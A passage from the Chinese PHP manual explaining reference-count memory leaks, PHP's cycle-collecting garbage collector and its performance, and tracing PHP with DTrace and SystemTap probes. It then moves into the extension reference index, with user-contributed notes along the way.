就像之前一样，清除变量会删除符号，并且指向的变量容器的引用计数会减少 1。因此，如果在运行上述代码后清除变量 $a，那么 $a 和元素"1"所指向的变量容器的引用计数会减少 1，从"2"变为"1"。可以表示为：

Example #9 清除 $a

(refcount=1, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=1, is_ref=1)=...
)

图示：

清理问题

虽然在任何作用域中都没有指向这个结构的符号，却无法清理它，因为数组元素"1"仍然指向同一个数组。由于没有外部符号指向它，用户无法清理该结构；因此会出现内存泄漏。幸运的是，PHP 会在请求结束时清理这个数据结构，但在此之前，它会占用宝贵的内存空间。如果你正在实现解析算法或其他需要子级元素指向"父级"元素的情况，会经常发生。当然，object 也可能出现相同的情况，因为 object 始终隐式引用。

如果这种情况只发生一两次，可能不是问题，但如果出现数千次，甚至数百万次的内存损失，显然就成了问题。这在长时间运行的脚本中尤为棘手，比如守护进程，其中请求基本上永远不会结束，或者在大量的单元测试集中。后者在运行 eZ Components 库的模板组件的单元测试时出现了问题。在某些情况下，它需要超过 2GB 的内存，而测试服务器并没有那么多内存可用。

User Contributed Notes

skymei at skymei dot cn 27-Dec-2019 06:50
$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

ouputs with PHP 7.3.12 (cli)

a: (interned, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1
chxt2011 at 163 dot com 15-Apr-2019 03:44
my php version is PHP 7.1.6 (cli), when I run

$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

it shows:
a: (refcount=0, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1
yuri1308960477 at gmail dot com 11-Feb-2019 07:35
my php versoin : HP 7.1.25 (cli) (built: Dec  7 2018 08:20:45) ( NTS )

$a = 'new string';
$b = 1;
xdebug_debug_zval('a');
xdebug_debug_zval('b');

output:

a: (refcount=2, is_ref=0)='new string'
b: (refcount=0, is_ref=0)=1

if $a is a string value, 'refcount' equal 2 by defalut.
shkarbatov at gmail dot com 18-Jan-2018 11:05
Result of "Example #8 Adding the array itself as an element of it self" will be another for PHP7:

a: (refcount=2, is_ref=1)=array (
    0 => (refcount=2, is_ref=0)='one',
    1 => (refcount=2, is_ref=1)=...
)

insted of:
a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

Internal value representation in PHP 7:
https://nikic.github.io/2015/05/05/Internal-value-representation-in-PHP-7-part-1.html
Anonymous 08-Dec-2014 02:49
There seems to be no way to inspect the reference count of a specific class variable but you can view the reference count of all variables in the current class instance with xdebug_debug_zval('this');
Anonymous 08-Dec-2014 02:15
If a variable is not present in the current scope xdebug_debug_zval　will return null.


回收循环

传统上，像 PHP 之前使用的引用计数内存机制无法解决循环引用内存泄漏的问题；然而，从 5.3.0 版本开始，PHP 实施了» 引用计数系统中的同步循环回收论文中的同步算法来解决这个问题。

对算法的完全说明有点超出这部分内容的范围，将只介绍其中基础部分。首先，需要确立一些基本规则。如果 refcount 增加，则该变量仍在使用中，因此不是垃圾。如果 refcount 减少到 0，则 zval 可以释放。这意味着只有当引用计数参数减少到非零值时，才能创建垃圾循环。其次，在垃圾循环中，可以通过检查是否可以将 refcount 减少 1，并检查哪些 zval 的 refcount 为 0 来确定哪些部分是垃圾。

为避免不得不检查所有引用计数可能减少的垃圾循环，这个算法把所有可能根(possible roots 都是zval变量容器),放在根缓冲区(root buffer)中(用紫色来标记，称为疑似垃圾)，这样可以同时确保每个可能的垃圾根(possible garbage root)在缓冲区中只出现一次。仅仅在根缓冲区满了时，才对缓冲区内部所有不同的变量容器执行垃圾回收操作。看上图的步骤 A。

在步骤 B 中，模拟删除每个紫色变量。模拟删除时可能将不是紫色的普通变量引用数减"1"，如果某个普通变量引用计数变成0了，就对这个普通变量再做一次模拟删除。每个变量只能被模拟删除一次，模拟删除后标记为灰（原文说确保不会对同一个变量容器减两次"1",不对的吧）。

在步骤 C 中，模拟恢复每个紫色变量。恢复是有条件的，当变量的引用计数大于0时才对其做模拟恢复。同样每个变量只能恢复一次，恢复后标记为黑，基本就是步骤 B 的逆运算。这样剩下的一堆没能恢复的就是该删除的蓝色节点了，在步骤 D 中遍历出来真的删除掉。

算法中都是模拟删除、模拟恢复、真的删除，都使用简单的遍历即可（最典型的深搜遍历）。复杂度为执行模拟操作的节点数正相关，不只是紫色的那些疑似垃圾变量。

对算法的工作原理有了基本的了解后，现在可以回顾一下如何与 PHP 集成。默认情况下，PHP 的垃圾回收器是打开的。然而，有个 php.ini 设置可以进行更改：zend.enable_gc。

当打开垃圾回收器时，如上所述的循环查找算法将在根缓冲区满时执行。根缓冲区的大小是固定的，可以容纳 10,000 个可能的根（尽管可以通过更改 PHP 源代码中的 Zend/zend_gc.c 中的 GC_THRESHOLD_DEFAULT 常量并重新编译 PHP 来修改这个值）。当关闭垃圾回收器时，循环查找算法将永不运行。然而，无论是否使用此配置激活垃圾回收机制，可能根都将始终记录在根缓冲区中。

如果在垃圾回收机制关闭时，根缓冲区存满了可能的根，那么将不会记录进一步的可能根。算法永远不会分析那些没有记录的可能根。如果他们是循环引用的一部分，将永不会清除从而导致内存泄漏的产生。

即使在垃圾回收机制不可用时，可能根也被记录的原因是，相对于每次找到可能根后检查垃圾回收机制是否打开而言，记录可能根的操作更快。不过垃圾回收和分析机制本身要耗不少时间。

除了改变配置中的 zend.enable_gc 之外，还可以通过调用 gc_enable()
或 gc_disable() 来启用/禁用垃圾回收机制。调用这些函数与通过配置打开或关闭机制的效果相同。即使可能的根缓冲区尚未满，还可以强制回收循环。为此，可以使用
gc_collect_cycles() 函数。该函数将返回算法回收的循环数量。

允许打开和关闭垃圾回收机制并且允许自主的初始化的原因，是由于你的应用程序的某部分可能是高时效性的。在这种情况下，你可能不想使用垃圾回收机制。当然，对你的应用程序的某部分关闭垃圾回收机制，是在冒着可能内存泄漏的风险，因为一些可能根也许存不进有限的根缓冲区。因此，就在你调用gc_disable()函数释放内存之前，先调用gc_collect_cycles()函数可能比较明智。因为这将清除已存放在根缓冲区中的所有可能根，然后在垃圾回收机制被关闭时，可留下空缓冲区以有更多空间存储可能根。

User Contributed Notes

Dallas 25-Mar-2018 09:46
After testing, breaking up memory intensive code into a separate function allows the garbage collection to work.

For example the original code was like:-
while(true){
   //do memory intensive code
}

can be turned into something like:-
function intensive($parameters){
   //do memory intensive code
}

while(true){
   intensive($parameters);
}
Yousha dot A at Hotmail dot com 04-Sep-2016 01:01
── Unused Objects ─── ─ In use Objects
↓                    ↓               ↓
 _____________________________________
 |□□□□□□□□□□□□□□□□□|██■■■■■■■■■■■■■■■■|
 |□□□□□□□□□□□□□□□□□|██■■■■■■■■■■■■■■■■|
ˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉ
          ▲                  ▲
     Unreferenced        Referenced
       Objects             Objects

█ Memory leak
Yousha dot A at Hotmail dot com 24-Apr-2015 07:47
Memory leak: meaning you keep a reference to it thus preventing the GC from collecting it.


性能方面考虑的因素

在上一节我们已经简单的提到：回收可能根有细微的性能上影响，但这是把PHP 5.2与PHP 5.3比较时才有的。尽管在PHP 5.2中，记录可能根相对于完全不记录可能根要慢些，而PHP 5.3中对 PHP run-time 的其他修改减少了这个性能损失。

这里主要有两个领域对性能有影响。第一个是内存占用空间的节省，另一个是垃圾回收机制执行内存清理时的执行时间增加(run-time delay)。我们将研究这两个领域。

内存占用空间的节省

首先，实现垃圾回收机制的整个原因是为了，一旦先决条件满足，通过清理循环引用的变量来节省内存占用。在PHP执行中，一旦根缓冲区满了或者调用gc_collect_cycles() 函数时，就会执行垃圾回收。在下图中，显示了下面脚本分别在PHP 5.2 和 PHP 5.3环境下的内存占用情况，其中排除了脚本启动时PHP本身占用的基本内存。

Example #1 Memory usage example

<?php
class Foo
{
public $var = '3.14159265359';
public $self;
}

$baseMemory = memory_get_usage();

for ( $i = 0; $i <= 100000; $i++ )
{
$a = new Foo;
$a->self = $a;
if ( $i % 500 === 0 )
{
echo sprintf( '%8d: ', $i ), memory_get_usage() - $baseMemory, "\n";
}
}
?>
Comparison of memory usage between PHP 5.2 and PHP 5.3

在这个很理论性的例子中，我们创建了一个对象，这个对象中的一个属性被设置为指回对象本身。在循环的下一个重复(iteration)中，当脚本中的变量被重新复制时，就会发生典型性的内存泄漏。在这个例子中，两个变量容器是泄漏的(对象容器和属性容器)，但是仅仅能找到一个可能根：就是被unset的那个变量。在10,000次重复后(也就产生总共10,000个可能根)，当根缓冲区满时，就执行垃圾回收机制，并且释放那些关联的可能根的内存。这从PHP 5.3的锯齿型内存占用图中很容易就能看到。每次执行完10,000次重复后，执行垃圾回收，并释放相关的重复使用的引用变量。在这个例子中由于泄漏的数据结构非常简单，所以垃圾回收机制本身不必做太多工作。从这个图表中，你能看到 PHP 5.3的最大内存占用大概是9 Mb，而PHP 5.2的内存占用一直增加。

执行时间增加(Run-Time Slowdowns)

垃圾回收影响性能的第二个领域是它释放已泄漏的内存耗费的时间。为了看到这个耗时时多少，我们稍微改变了上面的脚本，有更多次数的重复并且删除了循环中的内存占用计算，第二个脚本代码如下：

Example #2 GC性能影响

<?php
class Foo
{
public $var = '3.14159265359';
public $self;
}

for ( $i = 0; $i <= 1000000; $i++ )
{
$a = new Foo;
$a->self = $a;
}

echo memory_get_peak_usage(), "\n";
?>

运行这个脚本两次，一次将 zend.enable_gc 设置打开，一次关闭。

Example #3 执行以上脚本

time php -dzend.enable_gc=0 -dmemory_limit=-1 -n example2.php
# and
time php -dzend.enable_gc=1 -dmemory_limit=-1 -n example2.php

在我的机器上，第一个命令持续执行时间大概为10.7秒，而第二个命令耗费11.4秒。时间上增加了7%。然而，执行这个脚本时内存占用的峰值降低了98%，从931Mb 降到 10Mb。这个基准不是很科学，或者并不能代表真实应用程序的数据，但是它的确显示了垃圾回收机制在内存占用方面的好处。好消息就是，对这个脚本而言，在执行中出现更多的循环引用变量时，内存节省的更多的情况下，每次时间增加的百分比都是7%。

PHP内部 GC 统计信息

在PHP内部，可以显示更多的关于垃圾回收机制如何运行的信息。但是要显示这些信息，你需要先重新编译PHP使benchmark和data-collecting code可用。你需要在按照你的意愿运行./configure前，把环境变量CFLAGS设置成-DGC_BENCH=1。下面的命令串就是做这个事：

Example #4 重新编译PHP以启用GC benchmarking

export CFLAGS=-DGC_BENCH=1
./config.nice
make clean
make

当你用新编译的PHP二进制文件来重新执行上面的例子代码，在PHP执行结束后，你将看到下面的信息：

Example #5 GC 统计数据

GC Statistics
-------------
Runs:               110
Collected:          2072204
Root buffer length: 0
Root buffer peak:   10000

      Possible            Remove from  Marked
        Root    Buffered     buffer     grey
      --------  --------  -----------  ------
ZVAL   7175487   1491291    1241690   3611871
ZOBJ  28506264   1527980     677581   1025731

主要的信息统计在第一个块。你能看到垃圾回收机制运行了110次，而且在这110次运行中，总共有超过两百万的内存分配被释放。只要垃圾回收机制运行了至少一次，根缓冲区峰值(Root buffer peak)总是10000.

结论

通常，PHP中的垃圾回收机制，仅仅在循环回收算法确实运行时会有时间消耗上的增加。但是在平常的(更小的)脚本中应根本就没有性能影响。

然而，在平常脚本中有循环回收机制运行的情况下，内存的节省将允许更多这种脚本同时运行在你的服务器上。因为总共使用的内存没达到上限。

这种好处在长时间运行脚本中尤其明显，诸如长时间的测试套件或者daemon脚本此类。同时，对通常比Web脚本运行时间长的» PHP-GTK应用程序，新的垃圾回收机制，应该会大大改变一直以来认为内存泄漏问题难以解决的看法。

User Contributed Notes

Dmitry dot Balabka at gmail dot com 09-May-2018 11:13
There is a possibility to get GC performance stats without PHP recompilation. Starting from Xdebug version 2.6 you are able to enable stats collection into the file (default dir /tmp with name gcstats.%p):

php -dxdebug.gc_stats_enable=1 your_script.php
Talisman 04-Dec-2015 08:25
The GC, unfortunately, as expounded in the examples above, has the tendency to promote lazy programming.
Clearly the benefits of the GC to assist in memory management are there, and help to maintain a stable system, but it is no excuse to not plan and test your code properly.
Always re-read your code critically and objectively to ensure that you are not introducing memory leaks unintentionally.


DTrace 动态跟踪

Table of Contents

  • PHP 和 DTrace 介绍
  • 使用 PHP 和 DTrace
  • 使用 SystemTap 监控 PHP DTrace 静态探针

User Contributed Notes

There are no user contributed notes for this page.


PHP 和 DTrace 介绍

包括 Solaris，macOS，Oracle Linux 和 BSD 在内的很多操作系统 都提供了 DTrace 跟踪调试框架，它永远可用，并且额外消耗极低。 DTrace 可以跟踪操作系统行为和用户程序的执行情况。 它可以显示参数值，也可以用来分析性能问题。 用户可以使用 DTrace D 脚本语言创建脚本文件来监控探针，进而高效分析数据指针。

除非用户使用 DTrace D 脚本激活并监控 PHP 探针，否则它并不会运行，所以不会给正常的应用执行带来任何性能损耗。 即使 PHP 探针被激活，它的消耗也是非常低的，甚至可以直接在生产系统中使用。

在运行时可以激活 PHP "用户级静态定义跟踪"（USDT）探针。 举例说明，如果 D 脚本正在监控 PHP function-entry 探针， 那么，每当 PHP 脚本函数被调用的时候，这个探针将被触发，同时 D 脚本中所关联的动作代码将被执行。 在脚本的动作代码中，可以打印出诸如函数所在源文件等信息的探针参数， 也可以记录诸如函数执行次数这样的聚合数据。

这里仅描述了 PHP USDT 探针。请参考各操作系统文档中关于 DTrace 的部分获取更多信息， 例如，如何使用 DTrace 跟踪函数调用，如何跟踪操作系统行为等。 需要注意的是，不同平台提供的 DTrace 功能并不完全相同。

在某些 Linux 发行版中，可以使用 SystemTap 工具来监控 PHP DTrace 静态探针。

User Contributed Notes

There are no user contributed notes for this page.


使用 PHP 和 DTrace

在支持 DTrace 动态跟踪的平台上，可以配置 PHP 打开 DTrace 静态探针。

PHP DTrace 静态探针配置

请参考操作系统文档获取启用操作系统 DTrace 支持的信息。 例如，在 Oracle Linux 系统上启动 UEK3 内核，并进行如下操作：

# modprobe fasttrap
# chmod 666 /dev/dtrace/helper

除了 chmod 命令，您也可以使用 ACL 包规则来限制特定用户对于设备的访问权限。

使用 --enable-dtrace 配置参数构建 PHP：

# ./configure --enable-dtrace ...
# make
# make install

这样就启用了 PHP 核心的静态探针。对于提供了自有探针的 PHP 扩展需要分别构建。

PHP 核心的 DTrace 静态探针

PHP 中包括以下可用的静态探针
探针名称 | 探针描述 | 探针参数
request-startup | 请求开始时触发。 | char *file, char *request_uri, char *request_method
request-shutdown | 请求关闭时触发。 | char *file, char *request_uri, char *request_method
compile-file-entry | 脚本开始编译时触发。 | char *compile_file, char *compile_file_translated
compile-file-return | 脚本完成编译时触发。 | char *compile_file, char *compile_file_translated
execute-entry | 操作数数组开始执行时触发。例如：函数调用，文件包含以及生成器恢复时会被触发。 | char *request_file, int lineno
execute-return | 操作数数组执行完毕之后触发。 | char *request_file, int lineno
function-entry | PHP 引擎进入 PHP 函数或者方法调用时触发。 | char *function_name, char *request_file, int lineno, char *classname, char *scope
function-return | PHP 引擎从 PHP 函数或者方法调用返回后触发。. | char *function_name, char *request_file, int lineno, char *classname, char *scope
exception-thrown | 有异常抛出时触发。 | char *classname
exception-caught | 有异常被捕获时触发。 | char *classname
error | 无论 error_reporting 的设定如何，在发生错误时都会触发。 | char *errormsg, char *request_file, int lineno

PHP 扩展可以拥有额外的静态探针。

列出 PHP 中可用的静态探针

要列出 PHP 中可用的静态探针，开启一个 PHP 进程，然后运行：

# dtrace -l

输出信息类似如下所示：

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
    4   php15271               php               dtrace_compile_file compile-file-entry
    5   php15271               php               dtrace_compile_file compile-file-return
    6   php15271               php                        zend_error error
    7   php15271               php  ZEND_CATCH_SPEC_CONST_CV_HANDLER exception-caught
    8   php15271               php     zend_throw_exception_internal exception-thrown
    9   php15271               php                 dtrace_execute_ex execute-entry
   10   php15271               php           dtrace_execute_internal execute-entry
   11   php15271               php                 dtrace_execute_ex execute-return
   12   php15271               php           dtrace_execute_internal execute-return
   13   php15271               php                 dtrace_execute_ex function-entry
   14   php15271               php                 dtrace_execute_ex function-return
   15   php15271               php              php_request_shutdown request-shutdown
   16   php15271               php               php_request_startup request-startup

Provider 一列由 php 和当前进程 id 的组成。

如果运行的是 Apache web 服务器，那么模块名称可能是 libphp5.so， 并且可能会出现多块信息，每个运行中的 Apache 进程对应一个输出块。

Function Name 一列表示 Provider 对应的 PHP 内部 C 实现函数名称。

如果没有运行任何 PHP 进程，那么就不会显示任何 PHP 探针。

PHP DTrace 示例

下例展示了基本的 DTrace D 脚本。

Example #1 all_probes.d for tracing all PHP Static Probes with DTrace

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::compile-file-entry
{
    printf("PHP compile-file-entry\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::compile-file-return
{
    printf("PHP compile-file-return\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::error
{
    printf("PHP error\n");
    printf("  errormsg                  %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
}

php*:::exception-caught
{
    printf("PHP exception-caught\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::exception-thrown
{
    printf("PHP exception-thrown\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::execute-entry
{
    printf("PHP execute-entry\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::execute-return
{
    printf("PHP execute-return\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::function-entry
{
    printf("PHP function-entry\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::function-return
{
    printf("PHP function-return\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::request-shutdown
{
    printf("PHP request-shutdown\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

php*:::request-startup
{
    printf("PHP request-startup\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

此脚本在 dtrace 命令中使用了 -Z 选项。 此选项保证即使在没有任何 PHP 进程运行的时候脚本也能够正确执行。 如果省略了此选项，当没有任何探针可监控的时候，脚本会立即终止执行。

在运行此脚本的过程中，它将监控全部 PHP 核心静态探针。 运行 D 脚本：

# ./all_probes.d

再运行一个 PHP 脚本或者 PHP 应用，用来进行监控的 D 脚本会输出每个探针被触发时所携带的参数。

监控完成之后，使用 CTRL+C 来终止 D 脚本的执行。

在多 CPU 的主机上，探针的显示顺序可能不是连续的，这取决于哪颗 CPU 执行探针以及多个 CPU 之间的线程迁移情况。 可以通过显示探针时间戳来减少混淆，例如：

php*:::function-entry
{
      printf("%lld: PHP function-entry ", walltimestamp);
      [ . . .]
}

参见

  • OCI8 和 DTrace 动态跟踪

User Contributed Notes

There are no user contributed notes for this page.


使用 SystemTap 监控 PHP DTrace 静态探针

在某些 Linux 发行版上，可以使用 SystemTap 跟踪工具来跟踪 PHP 的静态 DTrace 探针。 此特性在 PHP 5.4.20 和 PHP 5.5 中具备。

安装支持 SystemTap 的 PHP

安装 SystemTap SDT 开发包。

# yum install systemtap-sdt-devel

安装 PHP 并启用 DTrace 探针：

# ./configure --enable-dtrace ...
# make

使用 SystemTap 列出 PHP 静态探针

使用 stap 命令列出 PHP 静态探针：

# stap -l 'process.provider("php").mark("*")' -c 'sapi/cli/php -i'

输出如下：

process("sapi/cli/php").provider("php").mark("compile__file__entry")
process("sapi/cli/php").provider("php").mark("compile__file__return")
process("sapi/cli/php").provider("php").mark("error")
process("sapi/cli/php").provider("php").mark("exception__caught")
process("sapi/cli/php").provider("php").mark("exception__thrown")
process("sapi/cli/php").provider("php").mark("execute__entry")
process("sapi/cli/php").provider("php").mark("execute__return")
process("sapi/cli/php").provider("php").mark("function__entry")
process("sapi/cli/php").provider("php").mark("function__return")
process("sapi/cli/php").provider("php").mark("request__shutdown")
process("sapi/cli/php").provider("php").mark("request__startup")

SystemTap 示例

Example #1 all_probes.stp for tracing all PHP Static Probes with SystemTap

probe process("sapi/cli/php").provider("php").mark("compile__file__entry") {
    printf("Probe compile__file__entry\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("compile__file__return") {
    printf("Probe compile__file__return\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("error") {
    printf("Probe error\n");
    printf("  errormsg %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
}
probe process("sapi/cli/php").provider("php").mark("exception__caught") {
    printf("Probe exception__caught\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("exception__thrown") {
    printf("Probe exception__thrown\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("execute__entry") {
    printf("Probe execute__entry\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("execute__return") {
    printf("Probe execute__return\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("function__entry") {
    printf("Probe function__entry\n");
    printf("  function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("function__return") {
    printf("Probe function__return: %s\n", user_string($arg1));
    printf(" function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("request__shutdown") {
    printf("Probe request__shutdown\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}
probe process("sapi/cli/php").provider("php").mark("request__startup") {
    printf("Probe request__startup\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}

在 PHP 脚本的执行过程中，上述脚本会跟踪所有的 PHP 核心静态探针：

# stap -c 'sapi/cli/php test.php' all_probes.stp

User Contributed Notes

idealities at gmail dot com 12-Oct-2018 08:02
# stap -l 'process.provider("php").mark("*")' -c 'sapi/cli/php -i'

This can also be archived by:

stap -l 'process("sapi/cli/php").mark("*")'

And, no need to be root to run this command.


函数参考

Tip

参见 扩展库列表／归类.

  • 影响 PHP 行为的扩展
    • APCu — APC 用户缓存
    • Componere
    • 错误处理 — 错误处理和日志记录
    • FFI — 外部函数接口
    • OPcache
    • 输出控制 — 输出缓冲控制
    • PHP 选项/信息 — PHP 选项和信息
    • phpdbg — Interactive PHP Debugger
    • runkit7
    • uopz — User Operations for Zend
    • WinCache — Windows Cache for PHP
    • Xhprof — 层次式性能分析器
    • Yac
  • 音频格式操作
    • OpenAL — OpenAL Audio Bindings
  • 身份认证服务
    • Radius
  • 针对命令行的扩展
    • Readline — GNU Readline
  • 压缩与归档扩展
    • Bzip2
    • LZF
    • Phar
    • Rar — Rar Archiving
    • Zip
    • Zlib — Zlib Compression
  • 加密扩展
    • Hash — 散列信息摘要框架
    • Mcrypt
    • Mhash
    • OpenSSL
    • 密码散列算法
    • Rnp
    • Sodium
  • 数据库扩展
    • 数据库抽象层
    • 针对各数据库系统对应的扩展
  • 日期与时间相关扩展
    • Calendar
    • 日期/时间 — 日期和时间
    • HRTime — High resolution timing
  • 文件系统相关扩展
    • 直接 IO
    • 目录
    • Fileinfo — 文件信息
    • 文件系统
    • Inotify
    • xattr
    • xdiff
  • 国际化与字符编码支持
    • Enchant — Enchant spelling library
    • Gender — Determine gender of firstnames
    • Gettext
    • iconv
    • intl — Internationalization Functions
    • 多字节字符串
    • Pspell
    • Recode — GNU Recode
  • 图像生成和处理
    • Exif — 可交换图像信息
    • GD — 图像处理和 GD
    • Gmagick
    • ImageMagick — 图像处理(ImageMagick)
  • 邮件相关扩展
    • IMAP — IMAP, POP3 和 NNTP
    • Mail
    • Mailparse
  • 数学扩展
    • BC Math — BCMath 任意精度数学
    • GMP — GNU Multiple Precision
    • Math — 数学函数
    • Statistics
    • Trader — Technical Analysis for Traders
  • 非文本内容的 MIME 输出
    • FDF — Forms Data Format
    • GnuPG — GNU Privacy Guard
    • wkhtmltox
    • PS — PostScript document creation
    • RpmInfo
    • XLSWriter
  • 进程控制扩展
    • Eio
    • Ev
    • Expect
    • PCNTL — 进程控制
    • POSIX
    • 程序执行 — 系统程序执行
    • parallel
    • pthreads
    • Semaphore — Semaphore, Shared Memory and IPC
    • Shared Memory
    • Sync
  • 其它基本扩展
    • GeoIP — Geo IP 定位
    • FANN — FANN (快速人工神经网络)
    • Igbinary
    • JSON — JavaScript 对象表示法（JSON）
    • Simdjson
    • Lua
    • LuaSandbox
    • 杂项 — 杂项函数
    • Random — 随机数生成器和相关随机函数
    • SeasLog
    • SPL — PHP 标准库（SPL）
    • Stream
    • Swoole
    • Tidy
    • Tokenizer
    • URL
    • V8js — V8 Javascript Engine Integration
    • Yaml — YAML 数据序列化
    • Yaf — Yet Another Framework
    • Yaconf
    • Taint
    • Data Structures
    • var_representation
  • 其它服务
    • cURL — Client URL 库
    • Event
    • FTP
    • Gearman
    • LDAP — Lightweight Directory Access Protocol
    • Memcache
    • Memcached
    • mqseries
    • 网络
    • RRD — RRDtool
    • ScoutAPM
    • SNMP
    • Socket
    • SSH2 — Secure Shell2
    • Stomp — Stomp Client
    • SVM — 支持向量机
    • SVN — Subversion
    • TCP — TCP Wrappers
    • Varnish
    • YAZ
    • 0MQ 消息 — ZMQ
    • ZooKeeper
  • 搜索引擎扩展
    • Solr — Apache Solr
  • 针对服务器的扩展
    • Apache
    • FastCGI 进程管理器
  • Session 扩展
    • Sessions — Session 处理
  • 文本处理
    • CommonMark
    • Parle — Parsing and lexing
    • PCRE — 正则表达式(兼容 Perl)
    • ssdeep — ssdeep Fuzzy Hashing
    • 字符串
  • 变量与类型相关扩展
    • 数组
    • 类/对象 — 类/对象的信息
    • Ctype — 字符类型检测
    • 过滤器 — 数据过滤器
    • 函数处理
    • Quickhash
    • 反射
    • 变量处理
  • Web 服务
    • OAuth
    • SOAP
    • Yar — Yet Another RPC Framework
    • XML-RPC
  • Windows 专用扩展
    • COM — COM 和 .Net（Windows）
    • win32service
  • XML 操作
    • DOM — Document Object Model
    • libxml
    • SimpleXML
    • WDDX
    • XMLDiff — XML diff and merge
    • XML 解析器
    • XMLReader
    • XMLWriter
    • XSL
  • 图形用户界面(GUI) 扩展
    • UI

User Contributed Notes

There are no user contributed notes for this page.


影响 PHP 行为的扩展

  • APCu — APC 用户缓存
    • 简介
    • 安装/配置
    • 预定义常量
    • APCu 函数
    • APCUIterator — APCUIterator 类
  • Componere
    • 简介
    • 安装/配置
    • Componere\Abstract\Definition — The Componere\Abstract\Definition class
    • Componere\Definition — The Componere\Definition class
    • Componere\Patch — The Componere\Patch class
    • Componere\Method — The Componere\Method class
    • Componere\Value — The Componere\Value class
    • Componere 函数
  • 错误处理 — 错误处理和日志记录
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • 错误处理 函数
  • FFI — 外部函数接口
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • FFI — C 代码和数据的主接口
    • FFI\CData — C Data Handles
    • FFI\CType — C Type Handles
    • FFI\Exception — FFI Exceptions
    • FFI\ParserException — FFI Parser Exceptions
  • OPcache
    • 简介
    • 安装/配置
    • 预加载
    • OPcache 函数
  • 输出控制 — 输出缓冲控制
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • 输出控制 函数
  • PHP 选项/信息 — PHP 选项和信息
    • 简介
    • 安装/配置
    • 预定义常量
    • PHP 选项/信息 函数
  • phpdbg — Interactive PHP Debugger
    • 简介
    • 安装/配置
    • 预定义常量
    • phpdbg 函数
  • runkit7
    • 简介
    • 安装/配置
    • 预定义常量
    • runkit7 函数
  • uopz — User Operations for Zend
    • 简介
    • 安装/配置
    • 预定义常量
    • Uopz 函数
  • WinCache — Windows Cache for PHP
    • 简介
    • 安装/配置
    • 预定义常量
    • WinCache 函数
    • Building for Windows
  • Xhprof — 层次式性能分析器
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Xhprof 函数
  • Yac
    • 简介
    • 安装/配置
    • 预定义常量
    • Yac — The Yac class

User Contributed Notes

There are no user contributed notes for this page.


APC 用户缓存

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • APCu 函数
    • apcu_add — 缓存一个新变量到存储中
    • apcu_cache_info — 从 APCu 存储中获取缓存信息
    • apcu_cas — Updates an old value with a new value
    • apcu_clear_cache — Clears the APCu cache
    • apcu_dec — Decrease a stored number
